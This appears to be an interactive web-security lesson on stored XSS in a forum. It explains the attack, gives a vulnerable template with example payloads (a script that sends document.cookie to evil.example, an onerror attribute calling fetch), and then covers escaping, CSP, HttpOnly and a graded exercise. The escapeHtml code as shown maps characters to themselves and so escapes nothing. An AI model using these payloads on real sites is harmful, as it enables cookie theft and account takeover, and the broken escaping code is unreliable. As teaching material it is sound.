XSS
Injecting scripts into other users' browsers
The forum deletes every <script> tag from comments before saving them, and renders everything else as HTML so users can write bold text. Is it safe from stored XSS, where a saved comment runs script in every reader's browser?
The server pastes stored user text into its HTML. If that text contains markup, the victim’s browser parses it as part of the page. A <script> or an onerror= attribute then runs with the site’s origin: it sees the DOM, sends requests with the user’s cookies, and reads any cookie not marked HttpOnly.
The fix is on output. Escape every value for the context it lands in, so < and “ display as characters instead of ending a tag or an attribute. A Content-Security-Policy without ‘unsafe-inline’ is the second layer: injected inline script will not run. HttpOnly limits what a successful script can take.
// template: values pasted into HTML as-is
`<img alt="${c.name}" src="/avatar.png"><b>${c.name}</b><p>${c.body}</p>`
// body: <script>new Image().src='//evil.example/c?'+document.cookie</script>
// name: m" src=x onerror="fetch('/account/email',...)
// -> <img alt="m" src=x onerror="fetch(...)" src="/avatar.png">// 1. Escape on output, for the context you write into
const escapeHtml = (s) => String(s)
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>')
.replace(/"/g, '"').replace(/'/g, ''');
// (URLs, JS strings and CSS need their own encoders; a template engine
// with auto-escaping does this for you.)
// 2. Defense in depth: no inline script, no inline handlers
Content-Security-Policy: script-src 'self'
// 3. Limit the damage: JS cannot read the session cookie
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax Watch the invariant strip and the VICTIM BROWSER box. STORED XSS and HTTPONLY ONLY both turn red: HttpOnly hides the session cookie, but the second payload still changes the account email. ESCAPE OUTPUT finds zero script in the page. CSP finds two and refuses both.
This forum strips <script> tags and lets the rest of the HTML through, so users can write <b>. Post one attacker comment, at a point where it runs in the victim's browser.
GOAL: attacker content runs in the victim's browser
Write escapeHtml(s). The grader pastes payloads into a template that uses it in element text, a double-quoted attribute and a single-quoted attribute, parses the result like a browser, and checks that nothing runs and every value displays exactly as typed.
Template engines with auto-escaping (React JSX, Jinja2, ERB, Go html/template), and every place that bypasses it: dangerouslySetInnerHTML, |safe, innerHTML =, markdown renderers that allow raw HTML. Rich text needs an allowlist sanitizer (DOMPurify), never a blocklist. Production CSPs use nonces or hashes for their own inline script.
“What is XSS and how do you prevent it?” Separate stored, reflected and DOM-based. Say escape on output by context (text, attribute, URL, JS), never by blocklist. Name CSP as defense in depth and HttpOnly as damage limitation, and say what each does not stop.
USED IN
Chapters that build on this lesson.